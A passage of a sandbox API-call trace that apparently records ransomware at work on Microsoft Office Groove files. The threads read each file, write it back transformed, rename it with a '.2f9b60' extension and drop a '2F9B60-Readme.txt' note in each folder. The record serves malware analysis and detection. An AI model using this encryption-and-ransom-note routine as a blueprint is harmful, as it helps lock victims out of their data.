Flags=0x8, Size=0x10c) returned 0x1674c0 [0223.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0223.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cca390) returned 1 [0223.720] NtQueryInformationFile (in: FileHandle=0x2848, IoStatusBlock=0x518cfdb8, FileInformation=0x518cfdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x518cfdb8, FileInformation=0x518cfdc8) returned 0x0 [0223.720] NtSetInformationFile (FileHandle=0x2848, IoStatusBlock=0x518cfdb8, FileInformation=0x518cfdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f480) returned 1 [0223.815] FlushFileBuffers (hFile=0x2848) returned 1 [0224.009] CloseHandle (hObject=0x2848) returned 1 [0224.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x423aa650 [0224.954] wcscpy (in: _Dest=0x423aa650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0224.954] wcscat (in: _Dest=0x423aa650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" [0224.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\2f9b60-readme.txt")) returned 0xffffffff [0225.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17d4 [0227.037] WriteFile (in: hFile=0x17d4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x518cfc70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x518cfc70*=0xba9, lpOverlapped=0x0) returned 1 [0238.166] CloseHandle (hObject=0x17d4) returned 1 [0240.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa650) returned 1 [0240.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb67a0) returned 1 Thread: id = 3748 os_tid = 0x1464 [0220.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp")) returned 0x20 [0221.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0221.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe70 [0221.740] GetFileSizeEx (in: hFile=0xe70, lpFileSize=0x553ffe20 | out: lpFileSize=0x553ffe20*=116) returned 1 [0221.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264470 [0221.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265490 [0221.742] NtQuerySystemTime (in: CurrentTime=0x553ffce0 | out: CurrentTime=0x553ffce0*=132462178257394000) returned 0x0 [0221.742] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x685d2530 [0221.742] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x2ee4c56d [0221.742] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x59f05a6a [0221.742] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x49274815 [0221.742] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x138a05ca [0221.742] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x35c7720e [0221.742] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x141f194c [0221.742] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x52828df6 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x48b68852 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x2e1b70c8 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x29736255 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x25f459bf [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x650dab9c [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x7a48b81b [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x2561c0e1 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x625d3963 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x1773ba9e [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x8bc1829 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x63eefb3 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x1576c132 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x6a8a0fb [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0xf8466ad [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x50220fed [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0xc81d8cc [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x50ea29fa [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x124fed48 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x6674f4eb [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x60dc92cc [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x7b49cc9b [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0xaeba95b [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x7bb1151 [0221.743] RtlRandomEx (in: Seed=0x553ffcd0 | out: Seed=0x553ffcd0) returned 0x106c5e3c [0221.753] ReadFile (in: hFile=0xe70, lpBuffer=0x41f79560, nNumberOfBytesToRead=0x74, lpNumberOfBytesRead=0x553ffcd0, lpOverlapped=0x0 | out: lpBuffer=0x41f79560*, lpNumberOfBytesRead=0x553ffcd0*=0x74, lpOverlapped=0x0) returned 1 [0221.753] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.754] WriteFile (in: hFile=0xe70, lpBuffer=0x41f7d170*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x553ffcd4, lpOverlapped=0x0 | out: lpBuffer=0x41f7d170*, lpNumberOfBytesWritten=0x553ffcd4*=0x74, lpOverlapped=0x0) returned 1 [0222.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0222.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0222.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0222.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f7d170) returned 1 [0222.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f79560) returned 1 [0222.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0222.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0222.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1ce61d30 [0222.964] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.964] WriteFile (in: hFile=0xe70, lpBuffer=0x42c20ed0*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x553ffdf0, lpOverlapped=0x0 | out: lpBuffer=0x42c20ed0*, lpNumberOfBytesWritten=0x553ffdf0*=0x122, lpOverlapped=0x0) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20ed0) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61920) returned 1 [0223.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0223.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0223.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0223.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264470) returned 1 [0223.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265580) returned 1 [0223.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647d0) returned 1 [0223.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf6) returned 0x1b78f680 [0223.452] wcscpy (in: _Dest=0x1b78f680, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" [0223.452] wcscat (in: _Dest=0x1b78f680, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp.2f9b60" [0223.452] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp.2f9b60", NtPathName=0x553ffe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x167280 [0227.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167280) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b2460) returned 1 [0227.036] NtQueryInformationFile (in: FileHandle=0xe70, IoStatusBlock=0x553ffe78, FileInformation=0x553ffe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x553ffe78, FileInformation=0x553ffe88) returned 0x0 [0227.036] NtSetInformationFile (FileHandle=0xe70, IoStatusBlock=0x553ffe78, FileInformation=0x553ffe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f680) returned 1 [0234.973] FlushFileBuffers (hFile=0xe70) returned 1 [0238.219] CloseHandle (hObject=0xe70) returned 1 [0241.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1b798170 [0241.550] wcscpy (in: _Dest=0x1b798170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0241.550] wcscat (in: _Dest=0x1b798170, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" [0241.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\2f9b60-readme.txt")) returned 0x20 [0241.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798170) returned 1 [0241.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb6890) returned 1 Thread: id = 3757 os_tid = 0x145c [0221.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif")) returned 0x20 [0221.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", dwFileAttributes=0x20) returned 1 [0221.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2b94 [0221.439] GetFileSizeEx (in: hFile=0x2b94, lpFileSize=0x2ba8f660 | out: lpFileSize=0x2ba8f660*=580) returned 1 [0221.439] SetFilePointerEx (in: hFile=0x2b94, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.439] ReadFile (in: hFile=0x2b94, lpBuffer=0x2ba8f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ba8f628, lpOverlapped=0x0 | out: lpBuffer=0x2ba8f5e0*, lpNumberOfBytesRead=0x2ba8f628*=0x4, lpOverlapped=0x0) returned 1 [0221.440] SetFilePointerEx (in: hFile=0x2b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0221.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0221.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0221.443] NtQuerySystemTime (in: CurrentTime=0x2ba8f520 | out: CurrentTime=0x2ba8f520*=132462178254430000) returned 0x0 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x5181983a [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x7b78ccdc [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x4a20252d [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x1edec16a [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x1cd9ecfa [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0xcb07b54 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x4a785777 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x4c7164f1 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x6f3b1a25 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x3f205ca1 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0xc9e8f44 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x3b249921 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x5f7220b1 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x22ddb384 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x4572989f [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x2006e6c7 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x35f3410f [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x3a93a5ad [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x26a8de79 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x7b2e47f3 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x7817dee0 [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x3cff0ad [0221.443] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x1066e4f3 [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x58c3e6ab [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x48a88375 [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x3b611399 [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0xe5253f3 [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x53b0c1b2 [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x5dbfbb24 [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x57c768d2 [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x355e1ab7 [0221.444] RtlRandomEx (in: Seed=0x2ba8f510 | out: Seed=0x2ba8f510) returned 0x44e34ba4 [0221.453] ReadFile (in: hFile=0x2b94, lpBuffer=0x420fb5f0, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x2ba8f510, lpOverlapped=0x0 | out: lpBuffer=0x420fb5f0*, lpNumberOfBytesRead=0x2ba8f510*=0x244, lpOverlapped=0x0) returned 1 [0221.453] SetFilePointerEx (in: hFile=0x2b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.453] WriteFile (in: hFile=0x2b94, lpBuffer=0x420ca920*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x2ba8f514, lpOverlapped=0x0 | out: lpBuffer=0x420ca920*, lpNumberOfBytesWritten=0x2ba8f514*=0x244, lpOverlapped=0x0) returned 1 [0222.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0222.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612b0 [0222.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202612b0) returned 1 [0222.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ca920) returned 1 [0222.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420fb5f0) returned 1 [0222.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0222.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0222.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202612b0 [0222.861] SetFilePointerEx (in: hFile=0x2b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.861] WriteFile (in: hFile=0x2b94, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2ba8f630, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x2ba8f630*=0x100, lpOverlapped=0x0) returned 1 [0223.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce612e0 [0223.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ce40 [0223.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e330 [0223.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e330) returned 1 [0223.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0223.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e330 [0223.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f3b0 [0223.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1f3b0) returned 1 [0223.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ce40) returned 1 [0223.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce612e0) returned 1 [0223.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x42c1f3b0 [0223.385] sprintf (in: _Dest=0x42c1f3b0, _Format="%c%c" | out: _Dest="af") returned 2 [0223.385] sprintf (in: _Dest=0x42c1f3b2, _Format="%c%c" | out: _Dest="77") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3b4, _Format="%c%c" | out: _Dest="79") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3b6, _Format="%c%c" | out: _Dest="2c") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3b8, _Format="%c%c" | out: _Dest="18") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3ba, _Format="%c%c" | out: _Dest="c1") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3bc, _Format="%c%c" | out: _Dest="ca") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3be, _Format="%c%c" | out: _Dest="83") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3c0, _Format="%c%c" | out: _Dest="18") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3c2, _Format="%c%c" | out: _Dest="fa") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3c4, _Format="%c%c" | out: _Dest="b7") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3c6, _Format="%c%c" | out: _Dest="69") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3c8, _Format="%c%c" | out: _Dest="e6") returned 2 [0223.386] sprintf (in: _Dest=0x42c1f3ca, _Format="%c%c" | out: _Dest="80") returned 2 [0223.386] RtlInitAnsiString (in: DestinationString=0x2ba8f6a8, SourceString="af77792c18c1ca8318fab769e680" | out: DestinationString="af77792c18c1ca8318fab769e680") [0223.386] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ba8f678, SourceString="af77792c18c1ca8318fab769e680", AllocateDestinationString=1 | out: DestinationString="af77792c18c1ca8318fab769e680") returned 0x0 [0223.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62460 [0223.387] wcscat (in: _Dest=0x431134f0, _Source="af77792" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\af77792") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\af77792" [0223.387] wcscat (in: _Dest=0x431134f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\af77792.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\af77792.2f9b60" [0223.387] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\af77792.2f9b60", NtPathName=0x2ba8f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\af77792.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1ceb6110 [0223.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb6110) returned 1 [0223.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430758a0) returned 1 [0223.701] NtQueryInformationFile (in: FileHandle=0x2b94, IoStatusBlock=0x2ba8f6b8, FileInformation=0x2ba8f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ba8f6b8, FileInformation=0x2ba8f6c8) returned 0x0 [0223.701] NtSetInformationFile (FileHandle=0x2b94, IoStatusBlock=0x2ba8f6b8, FileInformation=0x2ba8f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431134f0) returned 1 [0223.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0223.810] FlushFileBuffers (hFile=0x2b94) returned 1 [0224.009] CloseHandle (hObject=0x2b94) returned 1 [0226.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x43156fe0 [0226.159] wcscpy (in: _Dest=0x43156fe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0226.159] wcscat (in: _Dest=0x43156fe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft 